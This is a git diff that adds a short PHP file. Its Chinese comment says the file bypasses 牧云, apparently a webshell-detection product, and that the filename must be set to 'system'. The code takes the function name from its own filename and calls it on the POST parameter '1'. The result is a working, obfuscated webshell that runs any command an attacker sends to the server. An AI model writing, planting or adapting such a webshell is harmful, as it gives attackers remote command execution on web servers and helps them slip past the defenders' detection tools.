diff --git a/php/system2022-08-22-3.php b/php/system2022-08-22-3.php
new file mode 100644
index 0000000..4a3b2c5
--- /dev/null
+++ b/php/system2022-08-22-3.php
@@ -0,0 +1,5 @@
+<?php
+//bypass 牧云 文件名需要设置为system
+$filename=substr(__FILE__,-10,6);
+$command=$_POST[1];
+$filename($command);